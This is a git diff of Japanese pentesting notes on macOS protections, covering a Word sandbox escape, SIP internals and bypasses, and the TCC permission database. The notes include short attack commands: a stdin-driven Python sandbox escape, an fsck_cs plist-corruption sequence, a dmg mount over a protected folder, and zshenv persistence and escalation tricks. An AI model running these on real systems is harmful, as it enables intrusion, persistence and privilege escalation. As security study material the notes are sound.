[**元のレポートはこちら**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)を確認してください。 [**元のレポートはこちら**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)を確認してください。
@ -47,6 +47,6 @@ open ユーティリティには、**特定の env** 変数でアプリを実行
問題は、**`python`** が Apple によって署名されていても、**`quarantine`** 属性を持つスクリプトは **実行されない** ということです。しかし、stdin からスクリプトを渡すことができたため、クアランティンされているかどうかをチェックしませんでした:&#x20; 問題は、**`python`** が Apple によって署名されていても、**`quarantine`** 属性を持つスクリプトは **実行されない** ということです。しかし、stdin からスクリプトを渡すことができたため、クアランティンされているかどうかをチェックしませんでした:&#x20;
1. 任意の Python コマンドを含む **`~$exploit.py`** ファイルをドロップします。 1. 任意の Python コマンドを含む **`~$exploit.py`** ファイルをドロップします。
2. _open_ **`stdin='~$exploit.py' -a Python`** を実行し、Python アプリを標準入力としてドロップしたファイルで実行します。Python は喜んで私たちのコードを実行し、これは _launchd_ の子プロセスであるため、Word のサンドボックスルールに束縛されません。 2. _open_ **`stdin='~$exploit.py' -a Python`** を実行します。これにより、Python アプリが標準入力としてドロップしたファイルを使用して実行されます。Python は喜んで私たちのコードを実行し、これは _launchd_ の子プロセスであるため、Word のサンドボックスルールに束縛されません。
{{#include ../../../../../banners/hacktricks-training.md}} {{#include ../../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## **基本情報** ## **基本情報**
**System Integrity Protection (SIP)** は、macOSにおいて、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して不正な変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域でのファイルの追加、変更、削除などのアクションを制限することによって、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは以下の通りです **System Integrity Protection (SIP)** は、macOSにおいて、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して無許可の変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域でのファイルの追加、変更、削除などのアクションを制限することによって、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは以下の通りです
- **/System** - **/System**
- **/bin** - **/bin**
@ -27,7 +27,7 @@ SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.co
ls -lOd /usr/libexec/cups ls -lOd /usr/libexec/cups
drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
``` ```
この場合、**`sunlnk`** フラグは `/usr/libexec/cups` ディレクトリ自体が **削除できない** ことを示していますが、その中のファイルは作成、変更、または削除できます。 この場合、**`sunlnk`** フラグは `/usr/libexec/cups` ディレクトリ自体が **削除できない** ことを示しますが、その中のファイルは作成、変更、または削除できます。
一方: 一方:
```bash ```bash
@ -68,7 +68,7 @@ csrutil enable --without debug
``` ```
### その他の制限 ### その他の制限
- **署名されていないカーネル拡張の読み込みを禁止** (kexts)、これにより検証された拡張のみがシステムカーネルと相互作用します。 - **署名されていないカーネル拡張** (kexts) の読み込みを禁止し、検証された拡張のみがシステムカーネルと相互作用することを保証します。
- **macOSシステムプロセスのデバッグを防止**し、コアシステムコンポーネントを不正アクセスや変更から保護します。 - **macOSシステムプロセスのデバッグを防止**し、コアシステムコンポーネントを不正アクセスや変更から保護します。
- **dtraceのようなツールを抑制**し、システムの動作の整合性をさらに保護します。 - **dtraceのようなツールを抑制**し、システムの動作の整合性をさらに保護します。
@ -76,26 +76,26 @@ csrutil enable --without debug
### **SIP関連の権限** ### **SIP関連の権限**
- `com.apple.rootless.xpc.bootstrap`: launchd制御 - `com.apple.rootless.xpc.bootstrap`: launchd制御
- `com.apple.rootless.install[.heritable]`: ファイルシステムへのアクセス - `com.apple.rootless.install[.heritable]`: ファイルシステムアクセス
- `com.apple.rootless.kext-management`: `kext_request` - `com.apple.rootless.kext-management`: `kext_request`
- `com.apple.rootless.datavault.controller`: UF_DATAVAULT管理 - `com.apple.rootless.datavault.controller`: UF_DATAVAULT管理
- `com.apple.rootless.xpc.bootstrap`: XPCセットアップ機能 - `com.apple.rootless.xpc.bootstrap`: XPCセットアップ機能
- `com.apple.rootless.xpc.effective-root`: launchd XPC経由のルート - `com.apple.rootless.xpc.effective-root`: launchd XPC経由のルート
- `com.apple.rootless.restricted-block-devices`: 生のブロックデバイスへのアクセス - `com.apple.rootless.restricted-block-devices`: 生のブロックデバイスへのアクセス
- `com.apple.rootless.internal.installer-equivalent`: 制限のないファイルシステムアクセス - `com.apple.rootless.internal.installer-equivalent`: 制限のないファイルシステムアクセス
- `com.apple.rootless.restricted-nvram-variables[.heritable]`: NVRAMへの完全アクセス - `com.apple.rootless.restricted-nvram-variables[.heritable]`: NVRAMへの完全アクセス
- `com.apple.rootless.storage.label`: 対応するラベルを持つcom.apple.rootless xattrによって制限されたファイル変更 - `com.apple.rootless.storage.label`: 対応するラベルを持つcom.apple.rootless xattrによって制限されたファイル変更
- `com.apple.rootless.volume.VM.label`: ボリューム上のVMスワップ維持 - `com.apple.rootless.volume.VM.label`: ボリューム上のVMスワップ維持
## SIPバイパス ## SIPバイパス
SIPをバイパスすることで攻撃者は以下を行うことができます SIPをバイパスすることで攻撃者は
- **ユーザーデータへのアクセス**: すべてのユーザーアカウントからメール、メッセージ、Safariの履歴などの機密ユーザーデータを読み取る。 - **ユーザーデータアクセス**: すべてのユーザーアカウントからメール、メッセージ、Safariの履歴などの機密ユーザーデータを読み取ることができます
- **TCCバイパス**: TCC (Transparency, Consent, and Control) データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可す - **TCCバイパス**: TCC (Transparency, Consent, and Control) データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可します。
- **持続性確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせる。これには、マルウェア除去ツール (MRT) の改ざんの可能性も含まれます。 - **持続性確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせます。これには、マルウェア除去ツール (MRT) を改ざんする可能性も含まれます。
- **カーネル拡張の読み込み**: 追加の保護があるにもかかわらず、SIPをバイパスすることで署名されていないカーネル拡張の読み込みが簡素化されます。 - **カーネル拡張を読み込む**: 追加の保護策があるものの、SIPをバイパスすることで署名されていないカーネル拡張の読み込みが簡素化されます。
### インストーラーパッケージ ### インストーラーパッケージ
@ -103,7 +103,7 @@ SIPをバイパスすることで攻撃者は以下を行うことができま
### 存在しないSIPファイル ### 存在しないSIPファイル
1つの潜在的な抜け穴は、**`rootless.conf`に指定されたファイルが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラム`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。 1つの潜在的な抜け穴は、**`rootless.conf`に指定されたファイルが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラムは、`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。
### com.apple.rootless.install.heritable ### com.apple.rootless.install.heritable
@ -120,11 +120,11 @@ SIPをバイパスすることで攻撃者は以下を行うことができま
#### CVE-2021-30892 - Shrootless #### CVE-2021-30892 - Shrootless
[**このブログ投稿の研究者たち**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)は、macOSのシステム整合性保護SIPメカニズムにおける脆弱性、通称「Shrootless」脆弱性を発見しました。この脆弱性は、**`system_installd`**デーモンに関連しており、**`com.apple.rootless.install.heritable`**という権限を持ち、その子プロセスがSIPのファイルシステム制限をバイパスできることを許可します。 [**このブログ投稿の研究者たち**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)は、macOSのシステム整合性保護 (SIP) メカニズムにおける脆弱性、通称「Shrootless」脆弱性を発見しました。この脆弱性は、**`system_installd`**デーモンに関連しており、**`com.apple.rootless.install.heritable`**という権限を持ち、その子プロセスがSIPのファイルシステム制限をバイパスできることを許可します。
**`system_installd`**デーモンは**Apple**によって署名されたパッケージをインストールします。 **`system_installd`**デーモンは**Apple**によって署名されたパッケージをインストールします。
研究者たちは、Apple署名のパッケージ.pkgファイルのインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドが自動的に**実行**されます。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd``zsh`を呼び出すのを待つ**ことで、デバイス上で任意の操作を実行できます。 研究者たちは、Apple署名のパッケージ.pkgファイルのインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドを自動的に**実行**します。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd``zsh`を呼び出すのを待つ**ことで、デバイス上で任意の操作を実行できます。
さらに、**`/etc/zshenv`は一般的な攻撃手法として使用できることが発見されました**。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同様に動作しますが、ルート権限は必要ありません。このファイルは持続性メカニズムとして使用され、`zsh`が起動するたびにトリガーされるか、特権昇格メカニズムとして使用される可能性があります。管理者ユーザーが`sudo -s`または`sudo <command>`を使用してルートに昇格すると、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。 さらに、**`/etc/zshenv`は一般的な攻撃手法として使用できることが発見されました**。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同様に動作しますが、ルート権限は必要ありません。このファイルは持続性メカニズムとして使用され、`zsh`が起動するたびにトリガーされるか、特権昇格メカニズムとして使用される可能性があります。管理者ユーザーが`sudo -s`または`sudo <command>`を使用してルートに昇格すると、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。
@ -134,7 +134,7 @@ SIPをバイパスすることで攻撃者は以下を行うことができま
#### [fsck_csユーティリティ](https://www.theregister.com/2016/03/30/apple_os_x_rootless/) #### [fsck_csユーティリティ](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
**`fsck_cs`**が重要なファイルを破損させるように誤導される脆弱性が特定されました。これは、**シンボリックリンク**をたどる能力によるものでした。具体的には、攻撃者は`/dev/diskX`から`/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`へのリンクを作成しました。**`fsck_cs`**を`/dev/diskX`で実行すると、`Info.plist`が破損しました。このファイルの整合性は、カーネル拡張の読み込みを制御するオペレーティングシステムのSIP(システム整合性保護)にとって重要です。一度破損すると、SIPのカーネル除外を管理する能力が損なわれます。 **`fsck_cs`**が重要なファイルを破損させるように誤導される脆弱性が特定されました。これは、**シンボリックリンク**をたどる能力によるものでした。具体的には、攻撃者は`/dev/diskX`から`/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`へのリンクを作成しました。**`fsck_cs`**を`/dev/diskX`で実行すると、`Info.plist`が破損しました。このファイルの整合性は、カーネル拡張の読み込みを制御するオペレーティングシステムのSIP (System Integrity Protection) にとって重要です。一度破損すると、SIPのカーネル除外を管理する能力が損なわれます。
この脆弱性を悪用するためのコマンドは: この脆弱性を悪用するためのコマンドは:
```bash ```bash
@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&-
touch /Library/Extensions/ touch /Library/Extensions/
reboot reboot
``` ```
この脆弱性の悪用は深刻な影響を及ぼします。通常、カーネル拡張の権限を管理する役割を持つ`Info.plist`ファイル無効になります。これには、`AppleHWAccess.kext`のような特定の拡張をブラックリストに登録できないことが含まれます。その結果、SIPの制御メカニズムが機能しなくなると、この拡張がロードされ、システムのRAMへの不正な読み書きアクセスが許可されます。 この脆弱性の悪用は深刻な影響を及ぼします。通常、カーネル拡張の権限を管理する役割を持つ`Info.plist`ファイル無効になります。これには、`AppleHWAccess.kext`のような特定の拡張をブラックリストに登録できないことが含まれます。その結果、SIPの制御メカニズムが機能しなくなると、この拡張がロードされ、システムのRAMへの不正な読み書きアクセスが許可されます。
#### [SIP保護フォルダ上にマウント](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) #### [SIP保護フォルダ上にマウント](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
@ -156,19 +156,19 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
``` ```
#### [アップグレーダーバイパス (2016)](https://objective-see.org/blog/blog_0x14.html) #### [アップグレーダーバイパス (2016)](https://objective-see.org/blog/blog_0x14.html)
システムは、OSをアップグレードするために `Install macOS Sierra.app` 内の埋め込まれたインストーラーディスクイメージからブートするように設定されており、`bless` ユーティリティを利用しています。使用されるコマンドは次のとおりです: システムは、OSをアップグレードするために`Install macOS Sierra.app`内の埋め込まれたインストーラーディスクイメージからブートするように設定されています。使用されるコマンドは次のとおりです:
```bash ```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
``` ```
このプロセスのセキュリティは、攻撃者がブート前にアップグレードイメージ(`InstallESD.dmg`を変更すると危険にさらされる可能性があります。この戦略は、動的ローダーdyldを悪意のあるバージョン`libBaseIA.dylib`)に置き換えることを含みます。この置き換えにより、インストーラーが開始されると攻撃者のコードが実行されます。 このプロセスのセキュリティは、攻撃者がブート前にアップグレードイメージ(`InstallESD.dmg`を変更すると危険にさらされる可能性があります。この戦略は、動的ローダーdyldを悪意のあるバージョン`libBaseIA.dylib`)に置き換えることを含みます。この置き換えにより、インストーラーが起動されると攻撃者のコードが実行されます。
攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を利用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。 攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を利用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更することによって進行し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。
さらに、`InstallESD.dmg`内には、アップグレードコードのルートファイルシステムとして機能する`BaseSystem.dmg`があります。ここに動的ライブラリを注入することで、悪意のあるコードがOSレベルのファイルを変更できるプロセス内で動作することができ、システムの危険性が大幅に増加します。 さらに、`InstallESD.dmg`内には、アップグレードコードのルートファイルシステムとして機能する`BaseSystem.dmg`があります。ここに動的ライブラリを注入することで、悪意のあるコードがOSレベルのファイルを変更できるプロセス内で動作することができ、システムの危険性が大幅に増加します。
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk) #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
この[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk)の講演では、**`systemmigrationd`**SIPをバイパスできるが**bash**および**perl**スクリプトを実行し、環境変数**`BASH_ENV`**および**`PERL5OPT`**を介して悪用される可能性があることが示されています。 この[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk)の講演では、**`systemmigrationd`**SIPをバイパスできるが**bash**と**perl**スクリプトを実行し、環境変数**`BASH_ENV`**と**`PERL5OPT`**を介して悪用される可能性があることが示されています。
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a> #### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
@ -183,7 +183,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
> [!CAUTION] > [!CAUTION]
> 権限 **`com.apple.rootless.install`** はSIPを回避することを可能にします > 権限 **`com.apple.rootless.install`** はSIPを回避することを可能にします
権限 `com.apple.rootless.install` は、macOS上でSystem Integrity Protection (SIP) を回避することが知られています。これは特に [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) に関連して言及されました。 権限 `com.apple.rootless.install` は、macOSにおけるSystem Integrity Protection (SIP) を回避することが知られています。これは特に [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) に関連して言及されました。
この特定のケースでは、`/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` にあるシステムXPCサービスがこの権限を持っています。これにより、関連するプロセスはSIPの制約を回避できます。さらに、このサービスは、セキュリティ対策を強制せずにファイルを移動することを許可する方法を提供します。 この特定のケースでは、`/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` にあるシステムXPCサービスがこの権限を持っています。これにより、関連するプロセスはSIPの制約を回避できます。さらに、このサービスは、セキュリティ対策を強制せずにファイルを移動することを許可する方法を提供します。
@ -194,10 +194,10 @@ Sealed System Snapshotsは、Appleが **macOS Big Sur (macOS 11)** で導入し
以下は詳細な説明です: 以下は詳細な説明です:
1. **不変のシステム**: Sealed System SnapshotsはmacOSシステムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。 1. **不変のシステム**: Sealed System SnapshotsはmacOSシステムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。
2. **システムソフトウェアの更新**: macOSの更新やアップグレードをインストールすると、macOSは新しいシステムスナップショットを作成します。macOSの起動ボリュームはその後、**APFS (Apple File System)** を使用してこの新しいスナップショットに切り替えます。更新を適用するプロセス全体が安全で信頼性の高いものになり、更新中に何か問題が発生した場合でも、システムは常に前のスナップショットに戻ることができます。 2. **システムソフトウェアの更新**: macOSの更新やアップグレードをインストールすると、macOSは新しいシステムスナップショットを作成します。macOSの起動ボリュームはその後、**APFS (Apple File System)** を使用してこの新しいスナップショットに切り替えます。更新を適用するプロセス全体が安全で信頼性が高くなり、更新中に何か問題が発生した場合でも、システムは常に前のスナップショットに戻ることができます。
3. **データの分離**: macOS Catalinaで導入されたデータとシステムボリュームの分離の概念と組み合わせて、Sealed System Snapshot機能は、すべてのデータと設定が別の「**Data**」ボリュームに保存されることを保証します。この分離により、データはシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。 3. **データの分離**: macOS Catalinaで導入されたデータとシステムボリュームの分離の概念と組み合わせて、Sealed System Snapshot機能は、すべてのデータと設定が別の「**Data**」ボリュームに保存されることを保証します。この分離により、データはシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。
これらのスナップショットはmacOSによって自動的に管理され、APFSのスペース共有機能のおかげでディスク上に追加のスペースを占有しないことを覚えておいてください。また、これらのスナップショットは、ユーザーがアクセス可能なシステム全体のバックアップである**Time Machineスナップショット**とは異なること重要です。 これらのスナップショットはmacOSによって自動的に管理され、APFSのスペース共有機能のおかげでディスク上に追加のスペースを占有しません。また、これらのスナップショットは、ユーザーがアクセス可能なシステム全体のバックアップである**Time Machineスナップショット**とは異なることに注意することが重要です。
### スナップショットの確認 ### スナップショットの確認

View File

@ -4,15 +4,15 @@
## **基本情報** ## **基本情報**
**TCC (透明性、同意、制御)** は、アプリケーションの権限を規制することに焦点を当てたセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリアクセスを許可する前に明示的なユーザーの同意を要求することで、プライバシーとユーザーのデータに対する制御を強化します。 **TCC (透明性、同意、制御)** は、アプリケーションの権限を規制することに焦点を当てたセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーとユーザーのデータに対する制御を強化します。
ユーザーは、アプリケーションが保護された機能へのアクセスを要求する際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを通じて表示されます。さらに、TCCは、特定のファイルへのアクセスを許可するために、**アプリケーションにファイルをドラッグアンドドロップする**などの直接的なユーザーアクションをサポートし、アプリケーションが明示的に許可されたものにのみアクセスできるようにします。 ユーザーは、アプリケーションが保護された機能へのアクセスを要求する際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを通じて表示されます。さらに、TCCは、特定のファイルへのアクセスを許可するために、**アプリケーションにファイルをドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、アプリケーションが明示的に許可されたものにのみアクセスできるようにします。
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) ![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されていますmachサービス`com.apple.tccd.system`を登録)。 **TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されていますmachサービス`com.apple.tccd.system`を登録)。
ログインしている各ユーザーごとに**ユーザーモードのtccd**が実行されており、`/System/Library/LaunchAgents/com.apple.tccd.plist`で定義され、machサービス`com.apple.tccd``com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。 ログインしている各ユーザーごとに**ユーザーモードのtccd**が実行されており、`/System/Library/LaunchAgents/com.apple.tccd.plist`で定義され、machサービス`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
ここでは、システムとしておよびユーザーとして実行されているtccdを見ることができます: ここでは、システムとしておよびユーザーとして実行されているtccdを見ることができます:
```bash ```bash
@ -20,7 +20,7 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
``` ```
権限は**親**アプリケーションから**継承され**、**権限**は**バンドルID**と**開発者ID**に基づいて**追跡**されます。 権限は**親**アプリケーションから**継承**され、**権限**は**バンドルID**と**開発者ID**に基づいて**追跡**されます。
### TCC データベース ### TCC データベース
@ -45,7 +45,7 @@ ps -ef | grep tcc
> **iOS** の TCC データベースは **`/private/var/mobile/Library/TCC/TCC.db`** にあります。 > **iOS** の TCC データベースは **`/private/var/mobile/Library/TCC/TCC.db`** にあります。
> [!NOTE] > [!NOTE]
> **通知センター UI** は **システム TCC データベース**に**変更を加える**ことができます: > **通知センター UI** は **システム TCC データベース**に**変更**を加えることができます:
> >
> ```bash > ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd > codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
@ -153,7 +153,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
- **`auth_value`** は異なる値を持つことができます: denied(0), unknown(1), allowed(2), または limited(3)。 - **`auth_value`** は異なる値を持つことができます: denied(0), unknown(1), allowed(2), または limited(3)。
- **`auth_reason`** は次の値を取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) - **`auth_reason`** は次の値を取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- **csreq** フィールドは、実行するバイナリを検証し、TCC 権限を付与する方法を示すためにあります: - **csreq** フィールドは、実行するバイナリを検証し、TCC権限を付与する方法を示すためにあります:
```bash ```bash
# Query to get cserq in printable hex # Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2; select service, client, hex(csreq) from access where auth_value=2;
@ -171,7 +171,7 @@ echo "X'$REQ_HEX'"
``` ```
- **他のフィールド**に関する詳細は、[**このブログ記事**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)を確認してください。 - **他のフィールド**に関する詳細は、[**このブログ記事**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)を確認してください。
`System Preferences --> Security & Privacy --> Privacy --> Files and Folders`でアプリに**すでに与えられた権限**を確認することもできます。 `システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`で、アプリに**すでに与えられた権限**を確認することもできます。
> [!TIP] > [!TIP]
> ユーザーは**`tccutil`**を使用して**ルールを削除または照会**することができます。 > ユーザーは**`tccutil`**を使用して**ルールを削除または照会**することができます。
@ -184,9 +184,9 @@ tccutil reset All app.some.id
# Reset the permissions granted to all apps # Reset the permissions granted to all apps
tccutil reset All tccutil reset All
``` ```
### TCC シグネチャチェック ### TCC シグネチャチェック
TCC **データベース**はアプリケーションの**バンドルID**を保存しますが、**シグネチャ**に関する**情報**も**保存**しており、権限を使用するように要求しているアプリが正しいものであることを**確認**します。 TCC **データベース**はアプリケーションの**バンドルID**を保存しますが、**シグネチャ**に関する**情報**も**保存**しており、権限を使用するように要求しているアプリが正しいものであることを**確認**します。
```bash ```bash
# From sqlite # From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2; sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -204,11 +204,11 @@ csreq -t -r /tmp/telegram_csreq.bin
### 権限とTCCの許可 ### 権限とTCCの許可
アプリは**リクエスト**を行い、いくつかのリソースへの**アクセスを許可される**だけでなく、**関連する権限を持っている必要があります**。\ アプリは**リクエスト**を行い、いくつかのリソースへの**アクセスを許可される**だけでなく、**関連する権限を持っている必要があります**。\
例えば、**Telegram**はカメラへの**アクセスをリクエストするために**`com.apple.security.device.camera`という権限を持っています。**この権限を持たないアプリは**カメラにアクセスできません(ユーザーに権限を求められることもありません)。 例えば、**Telegram**はカメラへの**アクセスをリクエストするために**`com.apple.security.device.camera`という権限を持っています。この**アプリ**がこの**権限を持っていない場合、**カメラにアクセスできません(ユーザーは権限を求められることすらありません)。
ただし、アプリが`~/Desktop``~/Downloads``~/Documents`などの**特定のユーザーフォルダにアクセスするためには、特別な**権限を持つ必要はありません。システムはアクセスを透過的に処理し、必要に応じて**ユーザーにプロンプトを表示します**。 しかし、アプリが`~/Desktop``~/Downloads``~/Documents`などの**特定のユーザーフォルダーにアクセスするためには、**特定の**権限を持つ必要はありません。**システムはアクセスを透過的に処理し、**必要に応じてユーザーにプロンプトを表示します**。
Appleのアプリは**プロンプトを生成しません**。それらは**権限**リストに**事前に付与された権利**を含んでおり、つまり**ポップアップを生成することは決してなく**、**TCCデータベースにも表示されません**例えば: Appleのアプリは**プロンプトを生成しません**。それらは**権限**リストに**事前に付与された権利**を含んでおり、つまり**ポップアップを生成することは決してなく、**TCCデータベースのいずれにも表示されません**例えば:
```bash ```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app codesign -dv --entitlements :- /System/Applications/Calendar.app
[...] [...]
@ -219,22 +219,22 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string> <string>kTCCServiceAddressBook</string>
</array> </array>
``` ```
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを避けることができます。 これにより、カレンダーがユーザーにリマインダー、カレンダー、およびアドレス帳へのアクセスを要求することを回避できます。
> [!TIP] > [!TIP]
> 権限に関する公式文書の他に、**非公式の興味深い情報が** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で見つけることも可能です。 > 権限に関する公式文書の他に、**非公式の興味深い情報が** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で見つかることもあります。
いくつかのTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... です。すべてを定義する公開リストはありませんが、この[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。 いくつかのTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべてを定義する公開リストはありませんが、この[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)を確認できます。
### 敏感な保護されていない場所 ### 敏感な保護されていない場所
- $HOME (自体) - $HOME (自体)
- $HOME/.ssh, $HOME/.aws, など - $HOME/.ssh、$HOME/.aws など
- /tmp - /tmp
### ユーザーの意図 / com.apple.macl ### ユーザーの意図 / com.apple.macl
